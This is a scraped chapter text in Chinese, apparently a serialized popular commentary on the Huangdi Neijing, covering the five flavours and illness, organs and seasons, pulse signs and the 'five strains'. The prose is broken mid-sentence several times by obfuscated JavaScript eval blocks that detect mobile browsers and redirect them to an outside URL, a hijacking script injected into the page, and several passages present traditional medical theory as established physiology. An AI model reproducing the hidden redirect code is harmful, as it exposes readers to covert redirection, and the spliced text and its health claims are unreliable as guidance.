辛味食物如辣椒、葱、姜、蒜等，虽然在日常饮食中具有一定的调味作用，但在气病期间应尽量避免或少量食用。此外，对于其他具有发散性质的食物，如薄荷、荆芥等，也应谨慎食用。 在气病期间，除了注意饮食调养外，还应根据具体病情采取相应的治疗措施，如服用中药、针灸、推拿等，以促进气血流通，缓解病情。同时，保持良好的生活习惯和心态，也有助于病情的恢复。 咸味食物被认为与血液运行有着直接的联系，适量食用可以平衡体内的水分和电解质，但过量摄入咸味食物则可能对血病患者产生不良影响。 首先，我们需要明确什么是“血病”。在中医里，血病通常指的是与血液生成、运行、功能等相关的疾病，如血虚、血瘀、血热等。这些疾病可能导致患者出现贫血、出血、疼痛、发热等症状。 对于血病患者来说，过量摄入咸味食物可能会带来以下问题： 1. 增加血液黏稠度：咸味食物中的钠离子会增加血液的渗透压，导致水分从血管中渗出，进而使血液黏稠度增加。这对于血瘀患者来说尤为不利，可能加重其病情。 2. 加重心脏负担：咸味食物中的钠离子会使血压升高，增加心脏的负担。对于血虚或血热患者来说，过量摄入咸味食物可能导致其心悸、气短等症状加重。 3. 损害肾功能：肾脏是排泄体内多余钠离子的主要器官。长期过量摄入咸味食物会导致肾脏负担加重，甚至引发肾脏疾病。而肾脏与血液生成和代谢密切相关，因此肾功能受损也可能进一步加重血病患者的病情。 因此，在中医看来，血病患者应该尽量避免过量摄入咸味食物。当然，这并不意味着血病患者需要完全禁食咸味食物，而是要根据自己的病情和身体状况来适量摄取。 “苦味走骨骼，患骨病者不可多食苦味”在中医理论中，苦味食物被认为具有清热燥湿、泄火通便等功效，它们往往能够作用于人体的心和小肠，帮助调节这两个脏腑的功能。 五行理论中，苦味属于火，而火又能生土。在中医看来，骨骼属于“肾”所主，而肾在五行中属于水，土能克水，因此从这一角度来看，过量食用苦味食物可能会间接地对骨骼产生一定的影响。适量食用苦味食物对于调节人体内的阴阳平衡、促进身体健康是有一定益处的。关键在于如何掌握一个“度”。 对于患骨病者来说，由于骨骼已经存在一定的病变或损伤，因此在饮食上需要更加注意。如果过量食用苦味食物，可能会导致体内火气过旺，进而对骨骼产生不利影响。因此，建议患骨病者在饮食上要清淡、均衡，避免过量食用任何一种食物，包括苦味食物。 “甜味走肌肉，患肉病者不可多食甜味”这一说法，我们可以从中医的角度来解读。 甘味（甜味）被认为具有补益、和中、缓急等作用，能够滋养人体的肌肉和气血。然而，任何事物都有两面性，过量摄入甜味食物也可能带来一些不利影响。 “甜味走肌肉”意味着甜味食物对于肌肉有一定的滋养作用，然而患一些与肌肉病变相关的疾病。如肌肉萎缩、肌肉无力等肌肉病变，那么从中医的角度来看，这些疾病往往与气血亏虚、脏腑功能失调等因素有关。 在这种情况下，虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428702|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然甜味食物能够滋养肌肉，但过量摄入可能导致体内湿气过重，进而阻碍气血的流通和脏腑功能的正常发挥。因此，对于患有肌肉萎缩、肌肉无力等肌肉病变的人来说，适量摄入甜味食物是可以的，但过量摄入则可能不利于病情的恢复。 酸味走筋膜，患筋病者不可多食酸味。酸味食物被认为具有收敛、固涩的作用，有助于调和体内的气血和脏腑功能。特别是对于肝脏和筋膜系统，酸味食物有着特别的滋养作用。然而，这种作用并不意味着所有酸味食物都适合每个人，特别是那些患有筋病的人。 我们需要明确“筋病”这一概念。在中医中，筋病通常指的是与筋膜、肌腱等软组织相关的疾病，如肌肉痉挛、关节疼痛等。这类疾病往往与气血不畅、经络受阻等因素有关。 对于患筋病的人来说，由于体内气血不畅、经络受阻，过量摄入酸味食物可能会进一步加剧这种状况。因为酸味食物的收敛、固涩作用可能会使气血更加凝滞，不利于筋膜的舒展和修复。此外，过量摄入酸味食物还可能刺激胃酸分泌过多，对胃黏膜造成刺激，进而引发胃痛、反酸等不适症状。 因此，从中医的角度来看，患筋病的人应该适量控制酸味食物的摄入。当然，这并不意味着完全禁止食用酸味食物，而是要根据自 己的病情和体质来合理搭配饮食。同时，患筋病的人还需要注意保持良好的生活习惯和心态，积极配合医生的治疗方案，以促进病情的康复。 总之，“酸味走筋膜，患筋病者不可多食酸味”，在日常饮食中，我们应该根据自己的体质和病情来合理搭配食物，以保持身体健康。 这就是五味的禁忌病人要自我节制，不可多食。 星河璀璨，感谢有你。每一份关注、点赞、评论，都是心灵的触碰，温暖而真挚。愿这份情谊，如诗如画，永存心间。谢谢有你，让我的世界更加浪漫文艺。#感恩有你# 第18章 （7）四季养生：五脏发病部位与季节变化的科学解读 五脏在中医理论中各有其特定的功能和与自然界季节的对应关系。肾为阴脏而主骨，肾在中医中被视为“先天之本”，主藏精，主水液代谢，主纳气，开窍于耳及二阴，其华在发，在五行中属水，为阴中之阴脏。肾主骨，是因为肾精能生髓，而髓能养骨，所以骨的生长发育和修复，均依赖于肾精的滋养。 阴病多发生于骨骼，这可以从两个方面来理解。一方面，由于肾主骨，当肾阴不足时，骨骼得不到足够的滋养，就容易出现骨骼方面的问题，如骨质疏松、骨折等。另一方面，从阴阳的互根互用角度来看，阴和阳是相互依存、相互为用的。当阴液不足，无法制约阳热时，阳热就会相对偏亢，形成阴虚火旺的病理状态。这种病理状态也会影响到骨骼，因为骨骼需要阴液的滋养来保持其正常的生理功能。 此外，中医还认为，人体的五脏与自然界的季节有着密切的联系。肾与冬季相应，因为冬季是自然界中阴气最盛、阳气最弱的季节，而肾作为阴中之阴脏，其生理功能在冬季也会受到一定的影响。因此，在冬季更需要注意保护肾脏，避免过度劳累和情绪波动等因素对肾脏造成损伤。 心被视为“阳中之阳脏”，因为它主宰人体的生命活动，且其功能与“火”相对应，象征着热量和活力。而“心主血脉”则是指心具有推动血液在脉管中运行的作用，这种作用是通过心气来实现的。 “阳病多发生于血液”，我们可以从中医的阴阳理论进行解析。阳病，通常是指阳气亢盛或者阳气受损所导致的病理状态。由于心主血脉，当心的阳气亢盛时，可能会导致血液循环加速，血压升高等症状，从而影响血液的健康状态。同样，当心的阳气受损时，其推动血液运行的能力减弱，可能导致血液循环不畅，出现血瘀、血虚等病理变化。 然而，需要指出的是，虽然阳病可能多发生于血液，但并非所有血液问题都与心的阳气有关。中医理论强调整体观念和辨证论治，因此，在诊断和治疗血液问题时，还需要综合考虑其他脏腑的功能状态以及阴阳、气血、虚实等因素。 脾主运化，负责将饮食中的营养转化为气血精微物质，输送到全身各处以滋养身体。如果饮食不当，五味偏嗜，就可能对脾造成伤害，进而引发一系列病症。 “饮食五味伤脾病症多为肌肉萎缩无力”，我们可以从中医的角度进行解析。当脾受到损伤时，其运化功能减弱，无法将饮食中的营养充分转化为气血精微物质，导致身体得不到足够的滋养。在这种情况下，肌肉作为身体的重要组成部分，其营养供应也会受到影响，从而出现萎缩无力的症状。 具体来说，如果饮食中长期偏嗜某一味，比如过食酸味食物，可能导致肝气过盛而克制脾土，使得脾的运化功能受损；过食苦味食物，则可能损伤心阳，进而影响脾的运化；过食甘味食物，则可能使脾气壅滞，运化功能减弱；过食辛味食物，可能耗散气血，影响脾的生化之源；过食咸味食物，则可能使肾气受损，而脾土无肾火温煦则无以健运。 因此，为了保持脾的健康状态，我们应该注意饮食的均衡和适度，避免五味偏嗜。同时，在出现肌肉萎缩无力等症状时，也应该及时就医，查明原因并进行治疗。中医的治疗原则是调和五脏六腑的功能状态，恢复脾的运化功能，从而改善肌肉萎缩无力的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428703|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 症状。 “阳虚而病，阳病多发生在冬季；阴虚而病，阴病多发生夏季”。这实际上是中医关于人体阴阳平衡与季节变化关系的理解。 我们要明白中医中的“阴阳”概念。阴阳是中医理论中用来描述宇宙中两种对立而又统一的气或原理。在人体中，阴阳代表着人体内的两种基本物质和能量状态，它们相互依存、相互制约，维持着人体的动态平衡。 我们来看“阳虚而病，阳病多发生在冬季”。冬季是自然界中阴气最盛、阳气最弱的季节。如果人体内的阳气不足（即阳虚），那么在冬季时，由于自然界的阳气也较弱，人体的阳气就更加难以抵抗外界的寒冷，容易出现各种因阳气不足而导致的病症，如畏寒、四肢不温、精神不振等。 同样地，“阴虚而病，阴病多发生夏季”也是基于中医的阴阳理论。夏季是自然界中阳气最盛、阴气最弱的季节。如果人体内的阴气不足（即阴虚），那么在夏季时，由于自然界的阳气过盛，人体的阴气就更加难以平衡体内的阳气，容易出现各种因阴虚而导致的病症，如心烦失眠、潮热盗汗、口干舌燥等。 总之，“阳虚而病，阳病多发生在冬季；阴虚而病，阴病多发生夏季”这一观点是中医关于人体阴阳平衡与季节变化关系的理论体现。在实际生活中，我们应该注意保持阴阳平衡，根据季节变化适当调整饮食和生活方式，以预防和治疗各种因阴阳失衡而导致的疾病。 看黄帝内经的这些理论，大家感觉是不是很有意思？其实黄帝内经越学，你会感觉越有意思，越学越感觉好玩，大家跟着我的步伐，我们一路向前，我在前方等着你们。 第18章 （8）揭秘五脏受邪：病变背后的真相 五脏为人体之核心，关乎生命之根本。当病邪侵扰五脏，导致脏腑功能失调，可能引发各种病变。五脏为邪所扰，病邪侵入阳分则阳偏盛，会出现狂病”这一现象，我们可以从中医的角度来深入探讨。 在中医理论中，五脏包括心、肝、脾、肺、肾，它们各自有着特定的功能和属性。阳分，通常指的是人体的阳气，即具有温煦、推动、兴奋等作用的生命活动能量。当病邪侵入阳分，导致阳气过盛或阳气失于制约，就会出现阳偏盛的病理状态。 “狂病”这一表现，中医认为狂病多因痰火扰心、肝阳上亢等引起。痰火扰心，即痰邪与火邪相结，扰乱心神，导致神志失常，出现狂躁不安、言语错乱等症状。肝阳上亢，则是因为肝气郁结，阳气亢盛，上扰心神，同样会导致狂病的发生。 在治疗上，中医会根据病情的轻重和具体病因，采取相应的治疗方法。例如，对于痰火扰心所致的狂病，可以采用清热化痰、安神定志的方法；对于肝阳上亢所致的狂病，则可以采用平肝潜阳、安神镇静的方法。 总之，五脏为邪所扰导致的阳偏盛和狂病，是中医理论中的重要内容。通过深入了解中医的脏腑经络理论，我们可以更好地认识这些疾病的本质和治疗方法。同时，在日常生活中，我们也应该注意保持身体健康，避免病邪的侵扰。 “病邪侵入阴分则阴偏盛，会出现弊病”中医理论中，阴阳是相互对立而又相互依存的两个方面，它们共同维持着人体的生理平衡。阴分，通常指的是人体的阴液、阴精等具有滋润、濡养、抑制等作用的物质和能量。当病邪侵入阴分，导致阴液不足或阴精亏损，就会出现阴偏盛的病理状态。 “弊病”在中医中通常指的是由于阴阳失衡、脏腑功能失调所导致的各种疾病或不适。当阴偏盛时，人体的阳气相对不足，阴液无法得到充分的温煦和推动，就会导致一系列的症状出现。例如，可能会出现畏寒、四肢不温、精神萎靡、面色苍白等阳虚症状，同时也可能伴随有阴虚的症状，如口干、咽干、舌红少苔等。 针对这种阴偏盛的病理状态，中医会采用相应的治疗方法来调和阴阳、补益阴液。例如，可以使用滋阴润燥、温阳散寒的药物来调理，同时也可以通过调整饮食、作息等方式来辅助治疗。 “病邪侵入阳分，与阳气相争，则阳气受伤，会出现头部疾患”当病邪侵入阳分，与体内的阳气发生相争，就会导致阳气的损伤。 阳气受损后，其温煦和推动功能就会受到影响，导致头部出现各种疾患。这是因为头部是阳气汇聚的地方，阳气受损后，头部的气血循环就会受到影响，从而引发头痛、头晕、目眩、耳鸣等一系列症状。 针对这种情况，中医会采用温阳散寒、扶正祛邪的治疗方法。通过温补阳气、驱散寒邪，恢复阳气的正常功能，从而缓解头部疾患的症状。 需要注意的是，头部疾患的成因多种多样，除了病邪侵入阳分外，还可能与其他因素有关，如情志不畅、饮食不节、外感风寒等。因此，在治疗时需要根据具体病情进行综合辨证施治。 当病邪侵入阴分并与阴气相争时，有可能导致阴气受伤，进而出现音哑之疾。 当病邪（如风寒、火热等）侵入阴分，与体内的阴气发生相争，就会消耗和损伤阴气。阴气一旦受损，就会导致其滋润和濡养作用减弱，进而影响到人体的发声器官，如喉咙和声带。由于喉咙和声带得不到足够的阴液滋润，就会变得干燥、紧绷，失去原有的弹性和灵活性，从而导致声音变得嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428704|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑或失声。 针对这种情况，中医会采用滋阴润燥、清热解毒等方法来治疗。通过补充阴液、清除体内的热邪和毒素，恢复阴气的正常功能，从而缓解音哑之疾的症状。 当然，除了中医的治疗方法外，现代医学也为我们提供了更多的选择和手段。比如，对于音哑之疾，现代医学会根据病因和病情采取相应的治疗措施，如药物治疗、手术治疗等。 “病邪从阳分入于阴分，则从阴而为静，病邪由阴分出于阳分，则从阳而为怒”，这实际上是中医对阴阳转化过程中病邪动态变化的一种描述，被称为“五乱”之一。 首先，当病邪从阳分侵入阴分时，意味着疾病由阳热亢盛的状态转向阴液耗损、阴寒内盛的状态。在这个过程中，由于阴液的滋润和抑制作用增强，病邪的活动性减弱，表现出相对静止的状态，这就是“从阴而为静”的含义。 相反，当病邪从阴分转移到阳分时，疾病由阴寒内盛的状态转向阳热亢盛的状态。在这个过程中，由于阳气的温煦和推动作用增强，病邪的活动性增强，表现出易怒、烦躁等症状，这就是“从阳而为怒”的含义。 这种阴阳转化的过程反映了中医对疾病动态变化的认识。在疾病的治疗过程中，中医会根据阴阳转化的规律，采取相应的治疗方法来调和阴阳、扶正祛邪。例如，在病邪从阳分入于阴分时，可以采用滋阴润燥、温阳散寒等方法来调和阴阳；在病邪由阴分出于阳分时，可以采用清热泻火、疏肝解郁等方法来调和阴阳。 总之，“病邪从阳分入于阴分，则从阴而为静，病邪由阴 分出于阳分，则从阳而为怒”是中医对阴阳转化过程中病邪动态变化的一种描述，体现了中医对疾病动态变化的认识和治疗原则。 第18章 （9）五脏脉象揭秘：邪气侵袭的警示信号 在中医理论中，五脏与四季、五行以及脉象之间有着密切的联系。当五脏受到“贼邪”侵袭时，即指五脏受到与其相克属性的邪气侵扰，脉象会表现出相应的变化。具体到“春天见到秋天的毛脉是金科木”这一描述，我们可以从中医的五行生克理论来进行解读。 春天属于木，而秋天属于金。在五行相克的规律中，金克木。因此，当春天（木）的脉象中出现了秋天（金）的脉象特征时，即“毛脉”，这通常表示木气被金气所克制，也就是肝脏（木）的功能受到了肺脏（金）的过度影响或损害。 “毛脉”是中医脉象术语，指脉象浮在皮肤上，轻按即感，重按稍减而不空，如触鸟背上之毛，故曰毛。这种脉象在春天出现，通常是由于肺气不降，反而上逆克制了肝气，导致肝气不能正常升发，从而表现出脉象的浮散和无力。 从中医的角度来看，这种脉象的出现可能意味着人体内部的气机失调，需要通过调整饮食、作息以及采取适当的中医治疗措施来恢复五脏的平衡和和谐。例如，可以通过服用疏肝理气、降逆平喘的中药方剂，或者采用针灸、推拿等中医治疗方法来调理气血、平衡脏腑功能。 当夏天（火）的脉象中出现了冬天（水）的脉象特征时，即“石脉”，这通常被解释为水克火的五行相克现象。 “石脉”在中医脉象学中，通常指的是脉象沉而有力，如触石之感，这种脉象在冬天较为常见，因为冬天寒气凝滞，气血内敛，脉象自然深沉。然而，在夏天出现这种脉象，则可能意味着体内寒气过重，或者水液代谢出现了异常，导致水气压制了火气。 从中医的角度来看，水克火并不是一个简单的五行相克现象，它可能涉及到人体内阴阳失衡、气血不畅等复杂问题。因此，如果夏天出现了石脉，可能需要通过调整饮食、作息、情志等方面来调和体内阴阳，恢复气血平衡。 具体来说，可以适量食用一些温性食物，如姜、葱、蒜等，以温阳散寒；同时避免食用过多寒凉食物，如冷饮、西瓜等，以免加重体内寒气。此外，保持良好的作息习惯，避免熬夜、过度劳累等不良生活方式，也有助于调和体内阴阳，恢复气血平衡。 当然，以上只是一些基本的建议，具体的治疗方案还需要根据患者的具体情况来制定。因此，如果夏天出现了石脉，建议及时就医，寻求专业中医师的帮助。 在中医理论中，长夏通常与“土”相应，代表脾胃的运化功能，而春天则与“木”相应，代表肝的疏泄功能。当长夏时节出现了春天的“弦脉”，这通常被理解为木气对土气的过度影响，即“木可土”。 “弦脉”是中医脉象学中的一种描述，它表现为脉象端直而长，如按琴弦，常见于肝胆疾病或情志抑郁等。在长夏时节，如果出现弦脉，往往意味着肝的疏泄功能过于亢进，影响了脾胃的运化功能。 这种脉象的出现可能是由于情志不畅、肝气郁结等原因导致的。因此，治疗时可以从调和肝脾、疏肝解郁等方面入手，通过调整饮食、情志、作息等方式来改善体内环境，恢复脏腑功能的平衡。可以适量食用一些具有疏肝解郁作用的食物，如玫瑰花、菊花、合欢皮等；同时保持良好的心态，避免过度焦虑、抑郁等负面情绪的影响；此外，还可以结合中医的针灸、推拿等方法来调和气血，疏通经络，改善脏腑功能。 需要注意的是，中医的治疗方案需要根据患者的具体情况来制定，因此如果出现长夏时节弦脉的情况，建议及时就医，寻求专业中医师的帮助。 当我们在秋天（金）的季节里见到夏天的“钩脉”（火），这通常被解读为火克金的现象。 我们需要理解“钩脉”是什么。在中医脉象学中，“钩脉”通常指的是脉象如钩，来时有力而去时略无力，这种脉象在夏天较为常见，代表着阳气的旺盛和血液的充盈。 然而，在秋天这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428705|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金气当令的季节，出现了钩脉，即火象脉象，这可能意味着体内的阳气过于旺盛，或者心火过旺而克制了肺金。在五行生克理论中，火克金，这可能会导致肺金的功能受到抑制，从而引发一系列的健康问题。 从中医的角度来看，这种现象可能是由于多种原因导致的，比如情志不畅、饮食不节、劳倦过度等。因此，在秋天见到夏天的钩脉时，我们需要结合患者的具体症状、体质等因素进行综合分析，以确定合适的调理方案。 在调理方面，我们可以从以下几个方面入手：一是调和情志，保持心态平和，避免过度焦虑、抑郁等负面情绪的影响；二是调整饮食，避免食用过于辛辣、燥热的食物，多食用一些滋阴润燥的食物；三是适度运动，增强身体的代谢能力，促进气血流通；四是结合中医的针灸、推拿等方法进行调理，以疏通经络、调和气血、平衡脏腑功能。 见到长夏（土）的濡脉时，这确实被视作五行相克的一种表现，即土克水。濡脉在中医脉诊中通常表现为脉来浮细而软，轻按可得，重按反不明显，这种脉象往往与湿邪有关。 然而，将这种情况简单地归类为“五邪脉”且预后都属于“不治之症”是不准确的。中医讲究的是辨证施治，即 根据患者的具体情况来制定治疗方案。虽然土克水在五行相克理论中确实存在，但这并不意味着一旦出现这种脉象就必然是不治之症。 在中医看来，脉象只是疾病表现的一个方面，还需要结合患者的症状、体质、病因等多方面因素进行综合判断。对于冬天见到长夏的濡脉这种情况，可能是湿邪内蕴、脾阳不振等原因所致，但具体的治疗方案还需要根据患者的具体情况来制定。 因此，我们不能简单地将这种情况归类为不治之症。相反，我们应该积极寻求中医专家的帮助，通过辨证施治的方法来治疗疾病。同时，患者也应该保持良好的心态和生活习惯，以促进身体的康复。 第18章 （10）揭秘五脏之主：中医视角下的身体奥秘 在中医理论中，五脏与人的精神活动有着密切的联系，其中“心脏藏神”是一个核心的概念。这里的“神”并非指我们通常理解的“神仙”或“神秘力量”，而是指人的精神、意识、思维活动。 中医认为，心为君主之官，神明出焉。这意味着心脏不仅主宰着人体的血脉运行，还统摄着人的精神、意识、思维活动。当心脏功能正常时，人的精神饱满，思维敏捷，意识清晰；而当心脏功能出现异常时，人的精神活动也会受到影响，表现为失眠、多梦、健忘、神志不宁等症状。 具体来说，心脏藏神主要体现在以下几个方面： 1. 主宰意识：人的意识活动由心脏所主宰，它使人能够清晰地认识自己和环境，保持清醒的状态。 2. 调控情绪：心脏与情绪密切相关，它调控着人的情绪变化，使人能够保持情绪的稳定和愉悦。 3. 协调脏腑：心脏通过其藏神的功能，协调着人体各脏腑之间的功能活动，使人体的生理功能保持协调和谐。 4. 影响思维：心脏还影响着人的思维能力，它使人能够进行复杂的思维活动，如推理、判断、决策等。 在中医的治疗中，针对心脏功能异常导致的精神活动障碍，常常会采用养心安神、补益心气等方法来调理和治疗。同时，中医也强调“心身合一”的理念，认为人的精神和身体是密不可分的，因此治疗时也要注重身心的整体调理。 “肺脏藏魄”指的是肺脏与人的精神活动“魄”有密切联系。这里的“魄”并非我们通常理解的“鬼魂”或“灵魂”，而是指人的本能感觉和动作，是与生俱来的、不由自主的一些身体反应和表现。 肺脏作为人体呼吸系统的主要器官，负责吸入清气，呼出浊气，维持人体生命活动的正常进行。而“魄”作为人的本能感觉和动作，也需要依赖肺脏的正常功能来得以体现。例如，人的呼吸、咳嗽、喷嚏等反应，都是“魄”的体现，而这些反应的实现，都需要肺脏的正常功能作为支撑。 因此，中医理论认为，肺脏的健康状况与人的“魄”有着密切的关系。当肺脏功能正常时，人的“魄”也能得到充分的体现，表现为反应灵敏、动作协调等；而当肺脏功能异常时，人的“魄”也会受到影响，表现为反应迟钝、动作不协调等症状。 需要指出的是，中医的脏腑经络理论是一个复杂的系统，各个脏腑之间有着相互关联、相互影响的关系。因此，在理解和应用这一理论时，需要综合考虑各个脏腑之间的相互作用，以及人体与自然环境、社会环境之间的相互关系。同时，也需要注意与现代医学的结合，以更好地为人们的健康服务。 肝脏被赋予了“藏魂”的功能。这里的“魂”并非指我们通常理解的灵魂或鬼魂，而是指人的精神、意识、思维活动中的一部分，与人的情绪、情感以及精神活动有着密切的联系。 从中医的角度来看，肝脏主管疏泄，调畅气机，对人体的情绪、情感以及精神活动有着重要的影响。当肝脏功能正常时，人的情绪稳定，精神饱满，思维敏捷；而当肝脏功能失调时，则可能出现情绪抑郁、易怒、失眠多梦等症状，这些都可以看作是“魂”不安的表现。 中医还认为“魂”与“神”是密切相关的。神指人的精神、意识、思维活动的总体，而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428706|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂则是神的具体表现之一。肝脏藏魂，也就意味着肝脏在维持人的精神、意识、思维活动方面扮演着重要的角色。 因此，我们在日常生活中要注意养肝护肝，保持良好的作息和饮食习惯，避免过度劳累和情绪波动过大，以保持肝脏的健康和功能的正常发挥，从而保持我们的“魂”的稳定和安宁。 脾脏被认为是一个非常重要的脏腑，它与人的消化吸收、血液生成以及精神活动等方面都有着密切的关系。而“意”则是指人的思维、记忆、意念等精神活动，与人的意识、情感、意志等方面密切相关。 中医认为，“脾脏藏意”意味着脾脏在人的精神活动中扮演着重要的角色。脾脏的功能正常与否，直接影响到人的“意”的表达和调控。当脾脏功能正常时，人的思维清晰、记忆力强、意念稳定；而当脾脏功能失调时，则可能出现思维迟缓、记忆力减退、意念动摇等症状。 那么，脾脏是如何影响人的“意”的呢？从中医的角度来看，脾脏主运化，能够将水谷精微转化为气血，供给全身脏腑组织。同时，脾脏还能够统摄血液，防止血液溢出脉外。这些功能都与人的精神活动密切相关。当脾脏功能正常时，气血充足，人的精神活动自然也会旺盛；而当脾脏功能失调时，气血不足，人的精神活动也会受到影响。 中医还认为，“意”与“神”是相互关联的。神指人的精神、意识、思维活动的总体，而“意”则是神的具体表现之一。脾脏藏意，也就意味着脾脏在维持人的精神、意识、思维活动方面扮演着重要的角色。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第18章 （11）五劳所伤知多少？一文带你全面了解 中医理论强调“五脏六腑皆有精气”，并且认为过度的疲劳会伤耗这些精气，从而影响身体的整体健康。在中医的视角下，人体的五脏（心、肝、脾、肺、肾）与五体（脉、筋、肉、皮、骨）、五官（舌、目、口、鼻、耳）、五志（喜、怒、思、忧、恐）等密切相关，它们之间的平衡与和谐是身体健康的关键。 “久视则劳于精气而伤血”，我们可以从中医的“目为肝之窍”这一理论来理解。中医认为，眼睛是肝气的外在表现，长时间地注视或过度用眼，会使肝气过度消耗，从而影响到血液的生成和循环。因为“肝藏血”，肝气的过度消耗会导致血液供应不足，进而影响到全身的健康。 在现代生活中，我们经常会遇到需要长时间注视屏幕的情况，如工作、学习、娱乐等。虽然科技给我们带来了便利，但过度用眼的问题也日益凸显。因此，为了保护我们的肝脏和血液健康，建议大家合理安排用眼时间，适时休息，避免长时间连续用眼。同时，也可以通过一些中医养生方法来调养身体，如按摩眼睛周围的穴位、适当食用一些养肝明目的食物等。 对于“久卧则阳气不伸而伤气。阳气被视为生命活动的基础，它影响着人体各脏腑器官的功能和整体健康状态。而“久卧”则指的是长时间卧床不起或缺乏足够的运动。 当我们长时间卧床不起时，身体的代谢和循环功能会受到影响，导致阳气的流通不畅。这种情况下，阳气得不到充分的伸展和散发，就容易出现“阳气不伸”的现象。同时，由于身体长时间处于相对静止的状态，气血的循环也会受到影响，导致气血不畅，进一步加剧阳气的消耗。 为了避免这种情况的发生，我们应该保持适当的运动量，增强身体的代谢和循环功能，促进阳气的流通和散发。同时，也应该注意保持良好的生活习惯和作息规律，避免长时间卧床不起或缺乏足够的运动。 对于这个问题，我们也可以从现代医学的角度来思考。现代医学认为，长时间卧床不起会导致肌肉萎缩、骨骼密度下降、心肺功能下降等问题，这些问题都会影响到身体的整体健康状态。因此，保持适当的运动量对于维护身体健康至关重要。 “久坐则血脉灌输不畅而伤肉”。在中医理论中，认为“久坐伤肉”，这里的“肉”并不只是指现代医学意义上的肌肉组织，更广泛的是指人体气血和肌肉的强健。 当我们长时间久坐不动时，身体各部分肌肉长时间处于相对静止的状态，这会导致气血流通不畅，肌肉得不到足够的营养和氧气供应，久而久之，就会出现肌肉松弛、无力甚至萎缩的情况。同时，由于气血不畅，还可能引发一系列的健康问题，如腰酸背痛、颈椎病等。 从现代医学的角度来看，久坐确实会对身体造成诸多不良影响。长时间久坐会导致下肢血液循环不畅，增加静脉曲张的风险；同时，还会加重腰椎和颈椎的负担，引发相关疾病。此外，久坐还会影响身体的代谢功能，增加肥胖、心血管疾病等风险。 因此，无论是从中医还是现代医学的角度来看，我们都应该尽量避免长时间久坐不动。在工作或学习中，可以适时起身活动一下，做一些伸展运动或简单的体操，以促进气血流通和肌肉强健。同时，保持健康的生活习惯和作息规律也是非常重要的。 “久立则劳于肾及腰膝胫等而伤骨”这个问题，从中医的角度来说，确实有其理论依据。在中医理论中，肾被认为是“先天之本”，主骨生髓，而久立则会使得身体重心长时间集中于下肢，特别是膝、胫等部位，这样不仅会加重这些部位的负担，还会使肾气受到损伤。 具体来说，当我们长时间站立时，下肢静脉血液回流会受到影响，容易导致下肢静脉曲张等问题。同时，由于长时间站立，腰部和膝关节的负荷也会增加，容易造成腰肌劳损、腰椎间盘突出、膝关节磨损等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428707|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 